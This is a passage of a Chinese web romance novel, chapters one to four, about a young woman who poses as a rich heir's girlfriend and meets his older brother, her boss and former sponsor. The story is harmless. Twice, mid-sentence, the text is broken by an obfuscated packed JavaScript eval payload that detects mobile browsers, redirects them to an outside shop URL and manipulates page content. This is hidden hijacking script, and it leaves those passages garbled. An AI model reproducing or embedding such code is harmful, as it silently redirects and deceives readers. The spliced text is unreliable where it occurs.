《在初雪降临的冬夜》 1. 小雪 屏幕下方的59变成了00。 余简之关掉网页,保存文档,安静地等待00变成01,这才关机。她轻手轻脚地提起早已收拾好的包,把椅子无声地挪回原位,站起身来。 “拜拜。我先走啦。”她小小声跟旁边的同事说,随即像一阵风似的飘出了办公室。 今天是她接到转正通知的第二天。 也是她准时下班的第一天。 过去这整整一个月实习期,余简之从未准点下班过,每天至少无偿加班半小时,总要等到办公室里同事走了一半,她才动身离开。 等电梯时,同事郑以薇抱着包追了上来。 “喂!难得见你下班这么积极。怎么,和男朋友约会去?” 郑以薇是她的上班搭子,平日里两人总是结伴下班。郑以薇比她早入职一个月,年纪比她小半岁,是典型的北京独生女。 电梯里,郑以薇借着镜面悄悄打量起她今天的穿搭。 余简之上身穿了件燕麦色羊绒针织衫,下身搭配深咖啡色直筒西裤,脚上是浅褐色乐福鞋。此刻,她正将搭在臂弯的浅灰色羊绒大衣披到肩上。 上班要是穿这种衣服,郑以薇都会心疼损耗。 余简之抿唇笑笑:“嗯。” 郑以薇竖起大拇指:“可以啊,深藏不露。”恋爱中的人多少会露出些热恋的蛛丝马迹,可她之前竟一点没看出来。 解释起来更麻烦,余简之心想,姑且让梁景翊当她的男朋友好了。 走出公司大楼后,余简之就后悔刚才的回答了。 那辆大大咧咧停在禁停区的红色敞篷跑车格外扎眼。梁景翊一看到她,立刻摘掉鼻梁上那副硕大的墨镜,用力挥手喊道:“简之!” 郑以薇当即“哇哦”了一声:“真酷。” 余简之硬着头皮走过去。梁景翊殷勤地为她拉开车门:“走吧!” 跑车呼啸着驶入晚风,余简之大声提议:“以后别开这辆车来接我了,好吗?” 梁景翊沉浸在音乐里,随口应道:“哦!你喜欢橙色那辆?” 余简之回忆起那辆车的模样——是另一种招摇,但张扬程度丝毫不逊于今天这辆。 “不行!那辆也不行!” 车子在三环路上拐来绕去,并未驶离繁华区域,周围的街景却渐渐安静下来。红色跑车缓缓靠近夜色中一幢沉默的建筑。 这幢房子,比余简之想象中还要大。 车驶进院子,她的视线被两旁栽种的绿植和鲜花剥夺了好一会,车才终于停下。 进入屋内,却和余简之想象中不太一样。房子很大,却很静。没有人迎上来。她还以为有钱人一回到家,就会有佣人递上拖鞋。 “咦?没回来吗?” 梁景翊说着,没换鞋便直接离开玄关,余简之只好自己找出一双拖鞋,弯腰换上。 玄关连接着长长的走廊,两侧的壁灯亮着柔和的光。梁景翊已经走到长廊尽头,似乎找到了人影,正高声询问:“容叔,我哥呢?” 余简之整理拖鞋的手微微一顿。有个男声回答了他的问题,声音模糊,听不清内容。 换好鞋,她赶紧跟上梁景翊。 一只猫不知从哪边的房间钻出来,蹲在一盏壁灯下,用它那双异色的瞳仁打量着陌生的来客。 这时梁景翊折返回来。 “啊,简单,你在这里呀。”他弯腰将猫捞起。这是只白色长毛猫,毛毛又亮又顺,很干净,一看就知主人照顾得很好。 “这就是简单啊。” 余简之在梁景翊手机里看过它的照片。她的名字和这只猫只差一个字,梁景翊说过,正是因为这个巧合,他才开始留意她。 梁景翊点点头:“嗯。要摸摸看吗?” 但简单显然和他不亲,在他怀里只待了一秒就挣扎着要跳下去。梁景翊想按住它,它反抗得更厉害了。余简之刚伸出手,还没碰到,猫就稳稳落地,溜进了房间。 “它不亲你。”余简之陈述事实。 梁景翊无奈地耸肩:“它只和我哥亲。” “对了,你哥呢?”余简之问。她今天可不是来看猫的。 梁景翊带着她进入走廊尽头的电梯,来到三楼,进入书房。书房里空无一人,梁景翊打开灯,梁景翊同她一起在沙发上坐下。 “他还在谈事。等会来。” 余简之好奇地打量四周。书房很宽敞,会客区和私人区用一面屏风隔开。映入眼帘的景致非常复古又豪华,隐约透出主人不俗的艺术品味。 余简之不免紧张,梁景翊安慰道:“没事儿。反正我哥说什么你都不用理他,我从来没听过他的话。何况你又漂亮又温柔又努力,我哥哪挑得出错处。” 话音落下,身后传来细微的动静,是鞋履踩在地毯上的声音,不疾不徐,一步步走进书房。 余简之循声望去。 她率先注意到他修长的手,以及腕间的百达裴丽。那人走近,带来轻轻的风。余简之看见一条卡其色奇诺裤,裤腿笔挺,伴随他的迈步,膝弯处浮现褶皱。 他几乎是擦着沙发过去的。他很高,余简之不得不抬头打量,视线最多到他浅色牛津纺衬衫的领口,那里松开两颗纽扣,隐约露出男性的锁骨线条。 男人越过沙发,余简之凝着他的背影,一根细皮带勾勒出宽肩窄腰的身型,似乎并不像梁景翊说的那样老气横秋。 他消失在屏风后。 “哥。”梁景翊喊了一声。 屏风后的男人用一阵窸窸窣窣回应他。余简之猜他是在取东西。 当他再次从屏风后走出来时,余简之的目光落在他手中的礼盒上。他在她面前停下,将礼盒递过来——是Diptyque的冬日限定香氛礼盒。 他的手腕微倾,是一个恰好让她不必费力仰视也不必卑微俯就的高度。 “一点见面礼,希望你喜欢这个味道。欢迎来家里做客。” 他的嗓音温和,醇厚,像是熟悉的卡布奇诺。 “谢谢。” 她乖巧地道谢,双手接过,抬眸,视线一寸寸上移,从手指到棕色皮带,再到平整的衬衫。男人的喉结,锋利的下颌,嘴唇,鼻梁…… 最后,她怔在他的瞳孔深处。 礼物交到她手里,男人转身在他们对面的沙发上坐下。 他先是看了看她,与她那带着惊讶而慌张的视线交汇,随后毫无波澜地移向弟弟。 “景翊,介绍一下。”他开口,声音不太有温度。 余简之几乎要跳起来解释,可看到他波澜不惊的眼神时,她把心里那个慌张的小人按了回去。 没有认出她吗?他的表情没有任何变化。 梁景翊握住她的手。 “哥,这是我女朋友,简之。” 她听见他轻轻“嗯”了一声,辨不出情绪。 “简单的简,古文里的那个之。”梁景翊继续介绍。 男人的目光落在她搭在梁景翊膝头的手上。 他不可能没认出她。 认不出她人,也该认出她的名字。她的名字是他取的。 房间里安静下来。直到对面的男人再次开口:“梁怀聿。景翊的哥哥。” 梁景翊屈起的手指挠了挠她的虎口。余简之硬着头皮喊道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202926|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……哥哥好。” “嗯。” 有梁景翊在,很难冷场,他欢快地寻找话题:“哥,简之现在就在你的公司工作哦!” ……余简之真想让他住口。 梁怀聿的表情有了几分生动:“是吗?哪个部门?” 她只是众多打工仔的其中一员,他不清楚她的入职,这很正常。余简之甚至庆幸他不会关注这些小事,否则她的简历可能一投进内网就会被删掉吧。 余简之垂眸答道:“在营销部,负责海外市场板块的基础工作。” 梁怀聿的脑海里出现营销部总监的面容。 “嗯,”他不置可否,“入职多久了?在公司感觉怎么样?”像个寻常的长辈,关切地询问晚辈。 余简之有些担心他将她开除,小声答道:“我刚转正不久。工作挺好的,同事和领导很好相处。” “营销部节奏快,任务重,能适应就很好。”他给予一句不咸不淡的肯定,随即话题微转,“景翊平时贪玩,没什么定性。你们在一起,闲暇时都做些什么?” “就看电影啊,逛街啊,吃饭啊,还能干嘛?哥,你多久没谈恋爱了,这问的啥问题啊?” 梁怀聿没有搭理抢答的梁景翊,目光始终沉静地落在余简之身上。他在等她的回答。 余简之手心微微出汗,她感受到,梁怀聿似乎在探究这段关系的真实性。 她努力维持着镇定:“和景翊说的一样,看看电影,或者一起吃个饭。”她也没有说谎,在美国时,她和梁景翊就是这样相处的。 梁怀聿闻言,视线扫过梁景翊那身张扬的打扮。“只要不是他那些轰趴赛车的爱好就好。” 这话不像赞赏,更多的是在管束梁景翊。 梁景翊有些不服气地想反驳,被余简之在底下轻轻拉住了手。他顿时灵光一闪,颇有些骄傲地说:“哥,你看,这就是谈恋爱的好处呀!现在有简之管着我,我就不会去做那些冲动的爱好了,是吧?” 梁怀聿不理他,继续问道:“家里父母身体都还好吗?你是本地人?” “……” 这个问题,余简之犹豫了,她垂下头,不敢回应他的目光。 梁怀聿静静地看着面前小姑娘。漂亮的着装,俨然是北漂的都市丽人其中一员。但他看见的,却是多年前,打扮青涩稚嫩的女孩。 在等待女孩回答的间隙里,他拿出手机,轻敲几个字,发送出去。 “哥!你就别问这个了,”梁景翊难得正色,紧紧握住余简之的手,“简之她……家里情况比较特殊,很早就一个人了。她是在一位资助人的帮助下才读完书的。” “资助人。”梁怀聿语气平平地重复。 “是啊,”梁景翊说,“世上还是好心人多。”他深情地看向余简之:“没关系,以后有我照顾你。” 书房门被叩响,随后那人走进来:“景翊,出来一下,一楼有人打电话给你,你去接一下。” “谁啊容叔?”梁景翊一边应着,一边捏捏余简之的手,这才松开,起身离去。 同他一起离去的,是活跃的分子。 房间里只剩下余简之,与坐在对面的男人。 静得能听见她有些沉的呼吸。 余简之缓缓抬眸,男人居于她的视线中心,因此她清晰地看见他的目光在一瞬间变得暗沉。 他认出她了。 怎么可能认不出。 余简之紧张地望着面前的男人,声音不由自主放软,带着一丝依赖与怯意,像是小猫肉垫踩在肩窝: “……怀聿哥哥。” 不是当初那个小哑猫了。 2. 小雪 男人的面色略微沉下来。 “什么时候回国的。” 这是一个平稳的陈述句,没有疑问,所以他并不是在询问她。 ……是质问。 余简之心一沉,心脏宛如进入白昼的月亮,缓缓从天空坠了下去,再也挂不住了。 “立冬那天,我收到了offer才回来的。” 她明明没有撒谎,她明明是诚实地告知,可却像是偷了糖犯了错的小偷。 而梁怀聿呢,他没有隐瞒自己沉下去的眉梢,微微下垂的肩膀,余简之被静止在他的视线里。 “回来了,不告诉我吗?” 沉默。 余简之回答不出这个问题。心里明明有答案,却像一团杂乱的棉花,湿漉漉地郁在胸口,她甚至无法将它们揪出来,扔在梁怀聿面前。 身后的门开了,梁景翊嚷嚷着进来: “小姨干嘛不打我手机呢?害我跑下去一趟。” 梁景翊回来的速度比余简之想象中快太多了,她不禁怀疑,时间依然在缓缓流逝,是她内心的慌乱拨快了指针。 她噔地站起身,转身惶恐地看向梁景翊,满眼写着“求助”。梁景翊显然察觉,走来搭着她的肩:“带你去我房间转转?” 余简之刚要应答,身后,梁怀聿不轻不重地开口:“景翊,你先带简之回去吧,我有点事,不能同你们一起吃饭了。” “好。”梁景翊应了一声。 梁景翊送她回家,在车上,余简之说:“梁景翊,我不要假扮你的女友了。” “为什么?”梁景翊诧异地瞥了她一眼,方向盘上的手指敲了敲“你怕我哥?” 余简之咬住下唇:“我感觉他猜出来了……” “怎么可能?!”她这副样子实在可爱,梁景翊大笑起来,“你不懂他。他要是发现我在骗他,会立刻当场拆穿,根本不会给我留半点面子。就算你在场,他也会毫不犹豫地把我骂得狗血淋头。” “哎呀!”余简之烦躁极了,她又不好向他解释,“反正,这戏我演不下去了。但是今天的工资得结给我。” “好好好,我肯定结给你,我才不会拖欠工资呢。”梁景翊有些敷衍地应着,反正最近不需要她配合了,下次需要时再哄她就是。 跑车驶过一个路口,他忽然想起什么,问道:“不过,你怎么一点都不惊讶?” “……惊讶什么?” “我是你大老板的弟弟啊。这样算,你也是我的半个员工吧?”他语调上扬,“来,叫声BOSS我听听。” 余简之心里一松,没好气地瞪他一眼,语带责备:“你还说呢!为什么不早点告诉我?!” 和梁景翊在美国相识时,她就知道他是个纨绔子弟。梁景翊也从不收敛,作为富家子弟,他行事高调,最爱炫富,更是常常把“我哥”挂在嘴边。余简之只知道他哥哥是个很厉害的大老板,产业众多。 她怎么也没想到,梁景翊口中的哥哥,会是梁怀聿。 “我以为你入职的时候就会猜到呢。”梁景翊笑得促狭,“真笨。” “啊?” 她想起回国后梁景翊来找她的那天,正是她入职第二天。 “我姓梁,你的大老板也姓梁啊。怎么,一点都没联想一下?” “我没关注过这些……”世上怎么会有这种巧合,余简之完全没联想上。 红灯转绿,跑车的引擎发出低吼,引来周遭车辆的侧目。 梁景翊抬手,带着几分怜爱揉了揉她的头发:“乖,空闲时间多刷刷微博吧。” 他哥的名字,虽不常驻热搜,但在那些小道消息里出现的频率可不低。 余简之拍开他的手,靠回椅背:“他也没说过他有个弟弟……” 跑车的嗡鸣声覆盖住她的这句话。“嗯?你说什么?” “没什么。” 她仔细搜寻与梁怀聿有关的记忆碎片。她确定,过去的十年里,他从来没有提及过他有个弟弟。 “你和你哥……以前关系不好?” “哇哦,这都被你看出来了。”梁景翊抽空瞄了她一眼,语气带着夸张的赞赏,“你怎么这么聪明?在我小时候,我们关系很差,动不动吵架。为此他三天两头教训我,我们关系就更差了。” 那后来想必是和好了。否则梁景翊怎么会跟个兄控似的,整天哥哥长哥哥短的。 “现在呢?” “现在?他都步入老年了,我多没风度啊,跟个老年人计较还?” 不对吧。梁景翊与她同岁,那梁怀聿也不过大他十岁而已。 “三十四?顶多中年人。” “你怎么知道我哥多大?” 余简之脸不红心不跳地晃了晃手机:“微博秘报,诚不欺我。” 跑车进不去城中村逼仄的巷道,只能停在巷口。梁景翊看着周围的环境,直乍舌:“姑奶奶,你就住这啊?好歹整个小区吧……” 余简之理直气壮:“没钱啊。梁少爷要是付我双倍工资,我才能考虑一下。” 梁景翊挥挥手:“去去去。真当我是你的专属提款机呢?咱俩和好了再说吧。” 到家后,手机同时收到两条消息。一条是银行通知,到账五万元——梁少爷付了她五倍的演出费。 【梁景翊:搬家,我命令你,立刻,马上!这地方太不安全了】 【余简之:[OK]多谢少爷慷慨解囊】 然后,她点开了与余平安的对话框。 【余平安:我不敢提辞职!!![抓狂]】 【余简之:[转账5000元]】 【余简之:提!姐养你】 手指停顿了一下,即便刚刚入账五万,她心里依旧有种不踏实感。她撤回消息,重新发送: 【余简之:不行,我最多养你一个月,第二个月就得去上班啊,北京物价高】 余平安大学毕业后就回了老家的县城,考过几次编都失败了,如今缩招更是难上加难,只能在辅导机构代课。大多数人都是不满于现状的,余简之常听她抱怨只会甩锅的同事与不听话的学生。 【余平安:[哭][哭]][哭]】 【余平安:还是纠结……】 【余简之:不去提离职,就把钱还给我】 【余平安:好的大王!小的明天就去辞!】 自从余简之回国,在北京勉强算是有了个归宿后,余平安想来北京闯荡的心思就活络起来。 但家境普通甚至可以说贫寒的姑娘总是瞻前顾后—— 如果我找不到合适的工作怎么办,如果工资太低了怎么办,如果我负担不起房租咋办……当然,偶尔也会担心,如果我在北京越混越好,打算留在这不回去了,爸妈咋办。 但,一旦有了去外面看一看的冲动,就很难停止憧憬。 余简之刚在北京稳定,荷包空空,暂时只能蜗居在这小房间里。如今从梁景翊那拿了工资,她已经打算好,等余平安来了,就换个稍大点的房子。与其和陌生人合租,不如和平安住一块。 她脱下今天那身为了见梁怀聿而精心搭配的行头,光鲜亮丽的装扮与这间陋室格格不入。换上普通的家居服后,她才清晰地感受到自己是这间屋子的其中一员。 洗漱完她躺上床。床后传来隔壁房间细细的交谈声,今天室友的男友来了。她进门时看见了玄关的男鞋。 交谈声很快转为富有节奏的吱呀吱呀声。余简之默默将枕头换了个边,又用被子蒙住脑袋,窝在小空间里打开手机。 【余简之:我今天看见他了】 【余平安:??谁】 【余简之:怀聿哥】 【余平安:在公司碰见的?】 【余简之:不是】 她不知该如何解释这错综复杂的情况,干脆扔出一个诱饵。 【余简之:等你来了,我再详细跟你说】 【余简之:绝对是你想不到的场景】 【余平安:行!我现在就去买票!】 次日清晨,共享单车转公交车,再换乘地铁,历经两个半小时的颠簸,余简之终于踏进公司办公室。 刚跨进门,郑以薇就冲她努努嘴,眼神示意她的工位。 “怎么了?” 她不明所以,顺着视线看去,只见自己桌上放着一份早餐:一袋全麦吐司和一杯贴着品牌标签的鲜牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202927|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶。 “……是谁?” 是…… “还能有谁?”郑以薇凑过来,脸上写满了羡慕,“你那个二十四孝男朋友呗。一大早就送来了,真是贴心到家了。” “噢……” 余简之反应平淡地应了一声,走到座位放下包。牛奶还是热乎的,她裹在手心,打开了电脑。 内部通讯软件上,郑以薇的消息跳出来: 【郑以薇:你男朋友真是绝世好男人!】 【郑以薇:又有钱又能提供情绪价值】 【郑以薇:哪找的?我也去找一个】 【余简之:垃圾桶】 她给梁景翊发消息:你来公司了? 现在刚过九点,是打工人的标准开工时间。然而按照梁景翊的作息,大多数时候,此刻他还在梦乡。 他绝无可能为了给她送一份早餐而特意早起跑这一趟。 余简之猜得没错,此时此刻,梁景翊正在梁怀聿的办公室。 他倒是没客气,直接坐在了他哥那张宽大舒适的主位上,甚至还悠闲地转了一圈。梁怀聿开完晨会推门进来,见到此景,眉头微微蹙了一下。 他立刻像个弹簧似地跳起来:“哥。”他规规矩矩地站到一旁,抽开椅子,请哥哥入座。 “找我来干嘛?”梁景翊很快原形毕露,语气和神态同样不耐烦。 梁怀聿抬眼扫他。他顿时挺直腰背:“……哥,您吩咐。” “和简之在一起多久了?”梁怀聿打开电脑,平淡的口吻。 “我们在一起很久了呀,我和简之在美国就认识了。我不是跟你说过吗?”梁景翊试图蒙混过关。 梁怀聿微微皱起眉回忆。 不论他自己的行事作风如何,他对梁景翊在感情上没有太多干涉,只要求他需和女孩子建立明确的关系,不能耗费对方的感情和时间,one-nightstand明令禁止。除此之外,他就算想管,也难抽出精力。 他不知道别人家的弟弟如何,但梁景翊在此事上算是听话。梁景翊自诩极具魅力,交往的女孩子不少,光是他无意之中见过的就有两三个。 去往美国留学后,天高皇帝远,肯定更是无法无天。他哪有闲心去记弟弟每一段恋爱的细节? 那些零碎的、关于弟弟在海外生活的片段无法拼凑出“余简之”清晰的身影。他想象不到她站在弟弟身边的模样。 梁怀聿不愿再回忆。 “分手。”他言简意赅地命令,不留余地。 梁景翊嗷叫:“为什么?!我和简之是真心相爱的!哥,你不能乱棒打鸳鸯啊!” “分手。”他不再看他,只是重复命令,“你们不合适。” “你对她不满意?”梁景翊试图讲道理,“简之虽然家境不好,但她很温柔,人也很上进的。哥,你不能嫌贫爱富吧?” “嫌贫爱富?”梁怀聿的目光终于从屏幕上移开,彻底落在梁景翊的脸上,那眼神深沉,梁景翊心里猛地一咯噔。 “你不嫌贫爱富,就不要在外面打着我的名号招摇,不要拿我的钱豪掷千金。听到了吗?” 梁景翊所有虚张的气势被他哥一句话打散了。俗话说,吃人嘴软,拿人手短,经济命脉被人拿捏在手里,他顿时矮了半截。 他梗着脖子,试图做最后的挣扎:“我……我这也是为了维护你的面子嘛!要是让人家知道梁怀聿的弟弟抠抠搜搜的,我丢脸,你脸上也无光啊!” “我的面子,不需要你用这种方式来撑。”梁怀聿语气冷淡,“多读书,少攀比。” 梁景翊眼珠一转,忽然福至心灵:“哥,你该不会是调查过简之了吧?你觉得她是因为我的钱、因为你是她老板才跟我好的,对不对?” 他越说越觉得这就是真相,几乎要为自己的机智喝彩:“你误会了!她根本就不知道你是我哥,直到昨天晚上见到你,她才知道!她不是你想象中那样,她不是为了我们家钱才和我在一起的!” 梁怀聿静静听着弟弟的这番慷慨陈词,看着他急于辩解的样子,眼前浮现出昨夜书房,女孩垂下眼睫,轻声喊出“怀聿哥哥”的模样。 她不知道? 3. 小雪 梁景翊见哥哥沉默,以为说动了他,赶紧趁热打铁:“真的!她还怪我为什么不早点告诉她。她要是知道你是她老板,她恐怕……” 他顿了顿,把“恐怕都不会答应假扮我女友”这句大实话咽了回去,改口道,“恐怕紧张得不敢来见你!” “正因为她不知道,才更证明你们不合适。” 他抬起手,制止了梁景翊还想争辩的话头。 “一个连你真实背景都不清楚就和你在一起的人,你所谓的真心,建立在什么基础上?空中楼阁吗?” 他下了最后通牒。“你和她不是一个世界的人。分手。” “哥……别这样,”梁景翊放软了姿态,试图动之以情,“昨天刚带她见你,今天就说分手,这让简之怎么想?她以后在公司怎么面对你啊?” 梁怀聿没说话。 梁景翊鼓足勇气,继续加码:“哥,你是不知道,简之为了能留在北京,为了这份工作有多拼,哎,她天天都加班呢,你不知道她回去得倒三趟车,至少要花三个小时,到家天都黑透了!她一个女孩子在北京打拼多不容易,这个时候要是再失恋,那也太惨了……” 梁怀聿打断他:“她住哪?” “嗨,就一破城中村,连个正经小区名都没有。” 梁怀聿想起那些与繁华的北京格格不入、却又真实存在的地方。将它们和余简之联系到一起,他面容渐渐不愉。 “你梁景翊的女朋友,就住这种地方?” “哦,简之她性子要强,不肯花我的钱。不过我已经在帮她物色房子了!”梁景翊连忙表忠心。 梁怀聿点点头,难得和弟弟达成一致:“给她搬个家。” 梁景翊脸上立刻多云转晴,欣喜地搓搓手:“哥,那钱……” 他话音未落,梁怀聿一记冷淡的眼风扫过来,他立马噤声,但心里已然有数——这事儿,哥哥默许了,而且会支持。 哪有不怜香惜玉的男人呢,是吧?是吧? 手机嗡响,余简之收到梁景翊的回复。 【梁景翊:我哥让我来找他呢】 余简之紧张起来。 【余简之:说昨天的事吗?】 【梁景翊:嗯哼,他可喜欢你了,夸了你一通,还说必须得让你当我们家媳妇】 【余简之:……骗人的吧?】 她想象了一下这些话从梁怀聿嘴里说出来,怪得不行。 【梁景翊:先不说那些了,昨天不是跟你说搬家吗?你看过房子了没有】 【余简之:还没时间看呢】 【梁景翊:那你忙吧,我来帮你物色!】 【余简之:不要,你找的房肯定都贵得要命,我可承担不起】 【梁景翊:放心,我还能让公主殿下委屈在小阁楼?】 他刚从哥那里敲诈了一笔搬家经费,有的是钱。 拿钱办事,梁景翊立刻去公司外的中介公司看了几套房。这里靠近市中心,附近的房子不是余简之能负担的。他盘算了,先不告诉她,帮她把房子定下,再把她塞进去,这下她就没了拒绝的理由。 何况她现在是他女朋友,确实不能住得太寒酸。 他分享了几套房源给梁怀聿,毕竟他是这次搬家计划的金主爸爸。 梁怀聿从报表上抬起眼,看向在旁等候工作任务的秘书。 “营销部,最近怎么样?” 他立刻开始汇报整体业绩和几个大项目的进展。 梁怀聿放下报表,拿起手机。梁景翊少见地勤快,发来好几套房源。 他对这个女朋友确实上心些。 梁怀聿挨个点开链接,不假思索地选定了面积最大的一套。一顿,又重新点进链接,认真对比了户型图和通勤距离。 最后,他选了有直达公司地铁、通勤20分钟的一套。二室一厅,有个小厨房。因为总面积不大,因此三个房间都略小,装修也一般。 但,房租合理。倘若她和梁景翊分手了,如今她已转正,加上年末奖金,到时她一个人也负担得起,不会太吃力。 最重要的是,有两间卧室。 梁怀聿完全想象不到梁景翊和余简之卿卿我我的样子。 也决不允许他们现在就在一间卧室里过夜。 梁怀聿放下手机。秘书看着他,嘴巴紧闭。 哦,他说完了。 梁怀聿看了他一会,才找回思绪:“新成立了一个海外项目组,是吧?” 秘书一头雾水,他刚刚没提这个啊。 “是的,两个月前的事了。现在进展还没有汇报过,需要叫林总监来一下吗?” 梁怀聿颔首:“叫吧。” 【梁景翊:中午一起吃饭?】 【余简之:可以】 哥哥已经选定了,梁景翊也不多纠结,签好合同就回公司等她。 余简之将他的行动路径猜得透透的,千叮咛万嘱咐。 【余简之:你在楼下等我吧,我下班了就出来】 【余简之:千万不要进我们办公室!!!!】 【梁景翊:怕啥?有我给你撑腰还不好】 【余简之:NO!!!!!!!】 梁景翊笑出声。他仿佛能看见她炸毛的样子。 他在楼下等了一会,快到十二点时,他乘梯来到八楼,和刚出办公室的余简之撞了个满怀。 余简之看到他,眼睛倏地一瞪,然后目不斜视地从他身边穿过。 正值午高峰,一起等电梯的同事不少。梁景翊乖乖听她的,没和她打招呼,主要是想逗逗她。 他往她身边一站,距离极近。 余简之立刻转过头来瞪着他,然后默默后撤一步。 他左脚一迈,跟过去,低头用只有她能听到的声音说:“躲什么,我又不会吃了你。” 余简之不动了。 再动,同事们就要怀疑了。 进入拥挤的电梯,梁景翊几乎要黏在她身上。他看着她身体绷得笔直,一动不动目视前方,他忍着笑。 放在身旁的手抬起来,在她手背上轻挠。 余简之不动声色地甩开他的手。 清脆的一声,在沉闷的电梯里荡开。梁景翊被打懵了,他一愣,然后反手握住她的指尖。 她的指尖冰凉,梁景翊用了点力,她甩开,没成功。 直到电梯到达一楼,二人被人潮挤出来,他这才悄悄放开了她的手。 余简之气鼓鼓地往外走去,步子大得能横跨英吉利海峡。 “喂…”梁景翊追上去。 一直到出了公司,周围人影渐少,余简之才顿住脚步,转身,单手叉腰,小发雷霆:“拜托!!你不要害我好不好!!” 另一只手正怒气冲冲地指着他。 是他刚刚握过的那只手。 “好了好了。”梁景翊又想去抓她的手,余简之敏捷地缩回手,藏进口袋。 他挑眉:“你就这么怕被人发现我和你……” “打住!”余简之赶紧呵住他,“你不给我付工资的时候,我可不免费演戏。” “小财迷。说好了分手后还是朋友呢?”梁景翊有些受伤,看到余简之那严肃的神色,更受伤了。 但还是老实地解释:“你放心好了,要是他们认识我,那你当初就会知道我哥是谁了。” 梁怀聿在尚未成熟时就被迫暴露在聚光灯下,体味过太多无声或有声的伤害,因此,长大后的他将年幼的弟弟保护得很好。 “行吧。吃什么,你有推荐的餐厅吗?” 她现在住的地方只有一个简易小厨房,灶台和油烟机都像是过家家游戏里的,mini得不行。 别说室友总嫌弃她做完饭后屋里总一股挥之不去的油烟味,就连余简之也没耐心“小火慢炖”。 久而久之,她也不 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她不挑食,童年经历让她食欲旺盛,每道都只克制地夹取一点,在盘子里也渐渐堆起了小山。 她感受到一道灼热的目光落在自己身上。 余简之不爽,吃得多,又没花你的钱! 她朝着那道视线的方向抬起头,恶狠狠地瞪回去。 站在对面的男人,他们隔着两排菜相望。目光相接,他一愣,余简之也倏地收起凶相,转而乖顺,像是变脸极快的小猫。 三个字已经在喉咙…… 文容哥。 文容怔怔地看着她。 简之? 眉毛、眼睛、鼻梁都很像。五官如出一辙。连这慌张的神色、想要掩饰而更加慌乱,也与记忆中乖顺长大的女孩如出一辙。 但,她没有像从前那样,奶呼呼的,或者长大后,声音清澈地喊他“文容哥”。 不是她,只是很像的人? 梁景翊走来。 暖和的牛奶碰了碰她的脸颊:“好了吗?简之。” 简之…… 文容看着梁家这二世祖将手臂搭在余简之的肩上,另一只手接过餐盘。 余简之被梁景翊拢在怀里,视线随着他动的手下移,脱离了文容的笼罩。 “喂……” 余简之不敢动作幅度太大,轻轻抗拒着他的亲密。 梁景翊完全没有察觉,也没有发觉站在对面的容叔,带着余简之去称重付钱。 他老老实实排队,手一伸:“座位在那边,你先去坐吧。” 离开梁景翊,余简之下意识寻找人群里的文容,却没有在刚刚的位置上看见。 她一边走向座位,一边四处张望,都没有再看见他。 余简之心神不宁地吃完午餐,梁景翊给她买的牛奶和蛋糕她都没胃口吃。 她看着正在嗦面的梁景翊,再次说:“我真的不会再和你演戏了。而且你也跟你哥哥解释一下好么?我们不是男女朋友。” 梁景翊无语地抬起头。 “你好不讲义气啊,余简之。我发现越对你好,你就越这样。” “我哪样?”余简之瞪着他。 “我好歹刚请你吃完饭呢。而且房子我也给你找好了,你过几天就可以搬进去了。” “房子找好啦?” 算了,那都不是重点,余简之甩甩脑袋,思索了一会,才下定决心,郑重开口:“不是,梁景翊,我不是跟你说过我有一个资助人……” 她的郑重被电话铃声打断。 余简之和梁景翊同时低头看向放在他那边桌面的手机,备注就一个字“哥”。 手比在唇边,梁景翊嘘了一声,按下接听。 4. 小雪 “还在公司?” 梁怀聿站在窗边,俯视着楼下车水马龙。 “对。怎么了哥?” “下午没安排?” 梁怀聿这个问话实属多余,梁景翊现在每天的任务就是吃饭睡觉打豆豆。梁怀聿对这位弟弟不抱有太多期望,对他也没有多大约束。 好歹是一名接受过良好教育的公民,杀人放火这些底线他不可能去触碰。年轻人也就那么些兴趣爱好,不会太过火。 虽说年纪不小,又已学成归来,若按照别家的安排,早就该进公司磨炼了。 但当梁景翊提出想玩几年再开始工作时,梁怀聿毫无异议地准许了。 人生还长。 赚钱的意义不就是为了让孩子有更多的选择吗,不至于早早地为钱而奔波。 梁景翊的回答不出意料:“没安排啊,怎么了,哥?有事?” “下午带简之去看看房。有什么要添置的家具尽快添置。既然定下来了就尽早搬家。” 他顿了顿,补充一句:“你方便吧?” 对于哥哥这个问话,梁景翊感觉莫名其妙。 “简之是我女朋友,我不方便谁还方便啊?好了好了,我知道了。” 梁怀聿挂断电话,手机滑入口袋时,文容推门而入。 他转过身,看着文容将盒饭放在桌上。 梁怀聿没有那么娇气,基本都是和同事们同吃食堂,只是很少去食堂,一般由助理购买回来。今天助理请假,文容顺带帮他带上来。 “怎么了?”梁怀聿瞧着文容一副有话要说的样子。 文容是梁怀聿的表哥,他母亲的姐姐的儿子。不知为何,人似乎天然会与母亲那边的亲戚更为亲近。 梁怀聿一直觉得文容比父亲那边的堂兄弟们更好相处,也与他最为亲密。 文容说:“我看见小简了。” 小简,这是一个略有些模糊的名字。 可以是简女士、简先生、简总,也可以是x简x,xx简。 不可以只是简之。 而梁怀聿只想到了简之。他并未惊讶:“嗯。” 这让文容觉得不对劲。他缓缓想起梁景翊搭在她肩上的手。又想起那天梁景翊回过家,似乎是带着女友来的。 他刚想问,梁怀聿已经说出口:“她现在是景翊的女友。” 现在,现在进行时。 文容惊讶极了:“啊!他们怎么认识的呢?” 梁怀聿面色不豫:“应该是他们都在美国留学的时候。” 